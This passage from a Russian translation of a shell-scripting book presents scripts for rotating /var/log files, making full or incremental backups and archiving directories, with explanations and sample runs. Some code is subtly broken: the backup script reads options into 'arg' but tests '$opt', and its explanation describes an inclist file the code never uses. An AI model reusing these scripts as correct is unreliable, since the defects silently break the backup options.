В результате многие системные администраторы предусматривают последовательность команд, которые помещаются в начало утилит, предназначенных для анализа файлов журналов. Пример такой последовательности приведен ниже:

mv $log.2 $log.3

mv $log.1 $log.2

mv $log $log.1

touch $log

Если запускать эту группу команд раз в неделю, в вашем распоряжении всегда будет месячный архив информации из файла журнала, разделенный на порции недельного объема. Однако легко можно создать сценарий, который проделает ту же операцию сразу со всеми файлами журналов в каталоге /var/log, освободив тем самым сценарии анализа от лишнего бремени и организовав ротацию файлов даже в течение месяцев, когда администратор ничего не анализировал.

Сценарий в листинге 6.12 выполняет обход всех файлов в каталоге /var/log, имена которых соответствуют определенному набору критериев, проверяет график ротации каждого подходящего файла и время последнего изменения, чтобы убедиться в необходимости ротации. Если время пришло, сценарий проводит ее.

Код

Листинг 6.12. Сценарий rotatelogs

#!/bin/bash

# rotatelogs -- выполняет ротацию файлов журналов в /var/log с целью

#   архивирования и чтобы предотвратить чрезмерное увеличение файлов

#   в размерах. Этот сценарий использует файл конфигурации, в котором

#   можно настроить период ротации каждого файла. Записи в конфигурационном

#   файле имеют формат logfilename=duration, где duration определяет

#   количество дней. Если запись в конфигурационном файле для журнала

#   logfilename отсутствует, rotatelogs будет выполнять ротацию такого

#   журнала с частотой раз в семь дней. Если для журнала установлена

#   продолжительность периода ротации, равная нулю, этот журнал будет

#   игнорироваться сценарием.

logdir="/var/log"    # У вас журналы могут находиться в другом каталоге.

config="$logdir/rotatelogs.conf"

mv="/bin/mv"

default_duration=7   # По умолчанию ротация выполняется через 7 дней.

count=0

duration=$default_duration

if [ ! -f $config ] ; then

  # Файл конфигурации отсутствует? Выйти. Эту проверку можно убрать

  #   и в отсутствие конфигурационного файла просто использовать настройки

  #   по умолчанию.

  echo "$0: no config file found. Can't proceed." >&2

  exit 1

fi

if [ ! -w $logdir -o ! -x $logdir ] ; then

  # -w -- право на запись, а -x -- право на выполнение. Для создания

  #   новых файлов в каталогах Unix или Linux необходимы оба. Если

  #   права отсутствуют, завершить выполнение с выводом сообщения.

  echo "$0: you don't have the appropriate permissions in $logdir" >&2

  exit 1

fi

cd $logdir

# Как бы нам ни хотелось использовать в команде find стандартные обозначения,

#   такие как :digit:, многие версии find не поддерживают POSIX-совместимые

#   классы символов -- поэтому [0-9].

# Замысловатая команда find подробно обсуждается далее в этом разделе.

#   Не пропустите, если вам интересно!

for name in $(find . -maxdepth 1 -type f -size +0c ! -name '*[0-9]*' \

     ! -name '\.*' ! -name '*conf' -print | sed 's/^\.\///')

do

  count=$(( $count + 1 ))

  # Извлечь соответствующую запись из конфигурационного файла.

  duration="$(grep "^${name}=" $config|cut -d= -f2)"

  if [ -z "$duration" ] ; then

    duration=$default_duration # Если совпадений нет, использовать период                                  по умолчанию.

  elif [ "$duration" = "0" ] ; then

    echo "Duration set to zero: skipping $name"

    continue

  fi

  # Подготовить имена файлов для ротации. Это просто:

  back1="${name}.1"; back2="${name}.2";

  back3="${name}.3"; back4="${name}.4";

  # Если самый свежий архив журнала (back1) изменялся не позднее

  #   заданного промежутка, значит, время ротации еще не подошло. Это

  #   можно определить командой find с флагом -mtime.

  if [ -f "$back1" ] ; then

    if [ -z "$(find \"$back1\" -mtime +$duration -print 2>/dev/null)" ]

    then

      /bin/echo -n "$name's most recent backup is more recent than $duration "

      echo "days: skipping" ; continue

    fi

  fi

  echo "Rotating log $name (using a $duration day schedule)"

  # Ротация начинается с самого старого архива, но будьте осторожны,

  #   так как некоторые файлы могут просто отсутствовать.

  if [ -f "$back3" ] ; then

    echo "... $back3 -> $back4" ; $mv -f "$back3" "$back4"

  fi

  if [ -f "$back2" ] ; then

    echo "... $back2 -> $back3" ; $mv -f "$back2" "$back3"

  fi

  if [ -f "$back1" ] ; then

    echo "... $back1 -> $back2" ; $mv -f "$back1" "$back2"

  fi

  if [ -f "$name" ] ; then

    echo "... $name -> $back1" ; $mv -f "$name" "$back1"

  fi

  touch "$name"

  chmod 0600 "$name" # Последний шаг: изменить права файла на rw-------                        для безопасности

done

if [ $count -eq 0 ] ; then

  echo "Nothing to do: no log files big enough or old enough to rotate"

fi

exit 0

Для максимальной пользы сценарий работает с конфигурационным файлом, который находится в каталоге /var/log, позволяя администратору определять разные периоды ротации для разных файлов журналов. В листинге 6.13 показано содержимое типичного конфигурационного файла.

Листинг 6.13. Пример конфигурационного файла для сценария rotatelogs

# Конфигурационный файл для сценария ротации файлов журналов:     Формат name=duration,

#   где name может быть именем любого файла в каталоге /var/log, а duration

#   измеряется в днях.

ftp.log=30

lastlog=14

lookupd.log=7

lpr.log=30

mail.log=7

netinfo.log=7

secure.log=7

statistics=7

system.log=14

# Файлы с периодом ротации, равным нулю, игнорируются.

wtmp=0

Как это работает

Основу и, пожалуй, самую замысловатую часть сценария составляет команда find . Она возвращает все файлы в каталоге /var/log с размером больше нуля, имена которых не содержат цифр, не начинаются с точки (OS X, например, создает в этом каталоге массу файлов журналов с бессмысленными именами, и их все следует пропустить) и не заканчиваются расширением conf (вполне очевидно, что не имеет смысла выполнять ротацию нашего конфигурационного файла rotatelogs.conf). Параметр maxdepth 1 гарантирует, что find не будет выполнять поиск в подкаталогах, а команда sed в самом конце удалит все ведущие последовательности ./ из найденных совпадений.

ПРИМЕЧАНИЕ

Лень — двигатель прогресса! Сценарий rotatelogs демонстрирует фундаментальную идею программирования сценариев на языке командной оболочки: избегайте двойной работы. Вместо создания отдельных сценариев для ротации каждого файла журнала мы написали единый сценарий, централизованно решающий задачу ротации, что упрощает внесение модификаций.

Запуск сценария

Этот сценарий не принимает аргументов, но сообщает, какие журналы были подвергнуты ротации и почему. Кроме того, его следует запускать с привилегиями root.

Результаты

Пользоваться сценарием rotatelogs просто, как демонстрирует листинг 6.14, но имейте в виду, что в зависимости от прав доступа к файлам может потребоваться запускать его с привилегиями root.

Листинг 6.14. Запуск сценария rotatelogs с привилегиями root для ротации журналов в /var/log

$ sudo rotatelogs

ftp.log’s most recent backup is more recent than 30 days: skipping

Rotating log lastlog (using a 14 day schedule)

... lastlog -> lastlog.1

lpr.log’s most recent backup is more recent than 30 days: skipping

Обратите внимание, что в данном примере критериям поиска соответствуют только три файла журналов. Из них только для lastlog не было создано достаточно свежей копии, согласно настройкам периода ротации в конфигурационном файле. Повторный запуск сценария rotatelogs, однако, не дал ничего, как показано в листинге 6.15.

Листинг 6.15. Повторный запуск rotatelogs показал отсутствие журналов, требующих ротации

$ sudo rotatelogs

ftp.log’s most recent backup is more recent than 30 days: skipping

lastlog’s most recent backup is more recent than 14 days: skipping

lpr.log’s most recent backup is more recent than 30 days: skipping

Усовершенствование сценария

Одно из усовершенствований, которое можно добавить в сценарий, чтобы сделать его еще более полезным, — реализовать отправку самого старого архива, файла $back4, по электронной почте или копирование в облачное хранилище перед уничтожением командой mv. Проще всего отправку по электронной почте вставить в сценарий перед командой:

echo "... $back3 -> $back4" ; $mv -f "$back3" "$back4"

Другое полезное расширение в rotatelogs — сжатие всех архивированных файлов для экономии дискового пространства; для этого необходимо, чтобы сценарий распознавал и правильно обрабатывал сжатые файлы.

№ 51. Управление резервными копиями

Управление резервным копированием системы — задача, хорошо знакомая всем системным администраторам и очень неблагодарная. Никто никогда не скажет: «Резервное копирование мне здорово помогло — отличная работа!». Некоторые виды резервного копирования жизненно необходимы даже для систем Linux с единственным пользователем. К сожалению, ценность этой операции мы нередко осознаем только после потери данных и файлов. Одна из причин, почему пользователи Linux часто пренебрегают резервным копированием, — неудобство и сложность многих инструментов резервного копирования.

Сценарий командной оболочки может решить эту проблему! Сценарий в листинге 6.16 копирует указанный набор каталогов, инкрементально (то есть отбирая только файлы, изменившиеся после предыдущего резервного копирования) или целиком (копируя все файлы). В процессе производится сжатие, чтобы уменьшить потребление дискового пространства, и вывод сценария можно направить в файл, на ленточный накопитель, на смонтированный удаленный раздел NFS, в облачное хранилище (как будет показано далее в книге) и даже на DVD.

Код

Листинг 6.16. Сценарий backup

#!/bin/bash

# backup -- Создает полную или инкрементальную резервную копию набора

#   каталогов в системе. По умолчанию выходной файл сжимается

#   и сохраняется в /tmp, в файле с именем, содержащим время создания копии.

#   При желании можно указать устройство для вывода (другой диск, съемное

#   устройство хранения или что-то другое по вашему выбору).

compress="bzip2" # Измените, если предпочитаете другую программу сжатия.

inclist="/tmp/backup.inclist.$(date +%d%m%y)"

output="/tmp/backup.$(date +%d%m%y).bz2"

tsfile="$HOME/.backup.timestamp"

btype="incremental" # По умолчанию выполняется инкрементальное копирование.

noinc=0             # Обновлять файл с отметкой времени.

trap "/bin/rm -f $inclist" EXIT

usageQuit()

{

  cat << "EOF" >&2

Usage: $0 [-o output] [-i|-f] [-n]

  -o lets you specify an alternative backup file/device,

  -i is an incremental, -f is a full backup, and -n prevents

  updating the timestamp when an incremental backup is done.

EOF

  exit 1

}

########## Основной сценарий ###########

while getopts "o:ifn" arg; do

  case "$opt" in

    o ) output="$OPTARG";    ;; # getopts автоматически изменяет OPTARG.

    i ) btype="incremental"; ;;

    f ) btype="full";        ;;

    n ) noinc=1;             ;;

    ? ) usageQuit            ;;

  esac

done

shift $(( $OPTIND - 1 ))

echo "Doing $btype backup, saving output to $output"

timestamp="$(date +'%m%d%I%M')" # Получить текущие месяц, число, час, минуты.

                                # Интересны форматы? "man strftime"

if [ "$btype" = "incremental" ] ; then

  if [ ! -f $tsfile ] ; then

    echo "Error: can't do an incremental backup: no timestamp file" >&2

    exit 1

  fi

  find $HOME -depth -type f -newer $tsfile -user ${USER:-LOGNAME} | \

  pax -w -x tar | $compress > $output

  failure="$?"

else

  find $HOME -depth -type f -user ${USER:-LOGNAME} | \

  pax -w -x tar | $compress > $output

  failure="$?"

fi

if [ "$noinc" = "0" -a "$failure" = "0" ] ; then

  touch -t $timestamp $tsfile

fi

exit 0

Как это работает

Собственно резервное копирование выполняется командой pax в строках и , вывод которой через конвейер передается программе сжатия (bzip2 по умолчанию) и затем направляется в выходной файл или устройство. Однако инкрементальное копирование требует некоторых ухищрений, потому что стандартная версия программы tar не позволяет проверять время изменения, в отличие от GNU-версии. С помощью команды find создается список файлов, изменившихся с момента предыдущего резервного копирования, и сохраняется во временном файле inclist. Для большей совместимости его формат имитирует формат вывода команды tar. Далее этот файл передается непосредственно команде pax.

Между программами резервного копирования нет согласия по поводу того, какое время принимать за время создания резервной копии, но обычно им считается момент, когда копирование завершено, а не когда начато. Такой выбор может вызвать проблемы, если в процессе резервного копирования какие-то файлы изменятся, что вполне вероятно, так как резервное копирование порой длится довольно долго. Поскольку в этом случае момент последнего изменения файла окажется более ранним, чем момент, принятый за время создания резервной копии, такой файл может не попасть в следующую инкрементальную резервную копию, что само по себе плохо.

Но все не так просто, потому что выбирать момент времени, предшествующий началу копирования, тоже неправильно: если по какой-то причине резервное копирование потерпит неудачу, мы не сможем вернуть назад изменившуюся отметку времени.

Обеих проблем можно избежать, если сохранить дату и время перед началом резервного копирования (в переменной timestamp) и применить значение $timestamp к $tsfile, использовав для этого флаг -t в команде touch, только после успешного завершения резервного копирования. Хитро, правда?

Запуск сценария

Этот сценарий имеет несколько параметров, которые можно игнорировать, чтобы выполнить инкрементальное резервное копирование по умолчанию файлов, изменившихся с момента предыдущего запуска сценария (то есть после отметки времени, зафиксированной при предыдущем инкрементальном резервном копировании). Начальные параметры позволяют указать другой файл или устройство для вывода (-o output), выбрать создание полной резервной копии (-f), явно выбрать создание инкрементальной резервной копии (-i), даже при том, что этот режим предполагается по умолчанию, или предотвратить обновление файла, играющего роль отметки времени, при инкрементальном резервном копировании (-n).

Результаты

Сценарий backup не имеет обязательных аргументов и может запускаться простой командой, как показано в листинге 6.17.

Листинг 6.17. Сценарий backup не имеет обязательных аргументов и выводит результаты работы на экран

$ backup

Doing incremental backup, saving output to /tmp/backup.140703.bz2

Вывод программы резервного копирования вполне ожидаемо не блещет подробностями. Зато в результате получается сжатый файл существенного размера, что свидетельствует о большом объеме данных, хранящихся внутри, как можно видеть в листинге 6.18.

Листинг 6.18. Вывод информации о файле с резервной копией с помощью команды ls

$ ls -l /tmp/backup*

-rw-r--r-- 1 taylor wheel 621739008 Jul 14 07:31 backup.140703.bz2

№ 52. Резервное копирование каталогов

Другая похожая задача — создание копий отдельных каталогов или деревьев каталогов, ориентированная на пользователей. Простой сценарий в листинге 6.19 дает им возможность создать сжатый tar-архив выбранного каталога для сохранения в виде резервной копии или передачи другим пользователям.

Код

Листинг 6.19. Сценарий archivedir

  #!/bin/bash

  # archivedir -- создает сжатый архив заданного каталога.

  maxarchivedir=10        # Размер большого каталога в блоках.

  compress=gzip           # Измените, если предпочитаете другую программу сжатия.

  progname=$(basename $0) # Улучшенный формат вывода для сообщений об ошибках.

  if [ $# -eq 0 ] ; then # Нет аргументов? Это проблема.

    echo "Usage: $progname directory" >&2

    exit 1

  fi

  if [ ! -d $1 ] ; then

    echo "${progname}: can't find directory $1 to archive." >&2

    exit 1

  fi

  if [ "$(basename $1)" != "$1" -o "$1" = "." ] ; then

    echo "${progname}: You must specify a subdirectory" >&2

    exit 1

  fi

  if [ ! -w . ] ; then

    echo "${progname}: cannot write archive file to current directory." >&2

    exit 1

  fi

  # Архив может получиться опасно большим? Давайте проверим...

  dirsize="$(du -s $1 | awk '{print $1}')"

  if [ $dirsize -gt $maxarchivedir ] ; then

    /bin/echo -n "Warning: directory $1 is $dirsize blocks. Proceed? [n] "

    read answer

    answer="$(echo $answer | tr '[:upper:]' '[:lower:]' | cut -c1)"

    if [ "$answer" != "y" ] ; then

      echo "${progname}: archive of directory $1 canceled." >&2

      exit 0

    fi

  fi

  archivename="$1.tgz"

  if tar cf - $1 | $compress > $archivename ; then

    echo "Directory $1 archived as $archivename"

  else

    echo "Warning: tar encountered errors archiving $1"

  fi

  exit 0

Как это работает

Этот сценарий практически целиком состоит из кода, выполняющего проверку ошибок и позволяющего убедиться, что никакие данные не будут потеряны или не будет создан неправильный архив. В дополнение к обычным проверкам уместности начальных аргументов и действительности содержащейся в них информации, этот сценарий требует, чтобы пользователь был владельцем родительского каталога, вмещающего архивируемый подкаталог, и проверяет возможность сохранения файла архива в надлежащем месте после завершения. Инструкция if [ ! -w . ] проверяет наличие у пользователя права на запись в текущий каталог. Более того, сценарий даже предупреждает пользователя перед архивацией, если есть вероятность того, что файл с резервной копией может получиться слишком большим.

Сама команда tar, выполняющая архивирование каталога, находится в строке . Сценарий проверяет код, возвращаемый этой командой, чтобы не удалить каталог, если возникла какая-либо ошибка.

Запуск сценария

Этот сценарий должен запускаться с единственным аргументом — именем каталога для архивирования. Чтобы не включить самого себя в архив, сценарий требует, чтобы в аргументе был указан подкаталог в текущем каталоге, а не ., как показано в листинге 6.20.

Результаты

Листинг 6.20. Запуск сценария archivedir для архивирования каталога scripts, но после запуска архивирование было отменено

$ archivedir scripts

Warning: directory scripts is 2224 blocks. Proceed? [n] n

archivedir: archive of directory scripts canceled.

Нам показалось, что архив получится слишком большим, и мы засомневались в своем решении создать его, но, после некоторых размышлений, решили, что нет причин отказываться.

$ archivedir scripts

Warning: directory scripts is 2224 blocks. Proceed? [n] y

Directory scripts archived as scripts.tgz

Вот какие результаты получились:

$ ls -l scripts.tgz

-rw-r--r--  1 taylor  staff  325648 Jul 14 08:01 scripts.tgz

ПРИМЕЧАНИЕ

Совет для разработчиков: активно работая над каким-либо проектом, добавьте задание для cron, автоматически запускающее сценарий archivedir для создания ночного архива с рабочим кодом.

Назад: Глава 5. Системное администрирование: управление пользователями
Дальше: Глава 7. Пользователи Интернета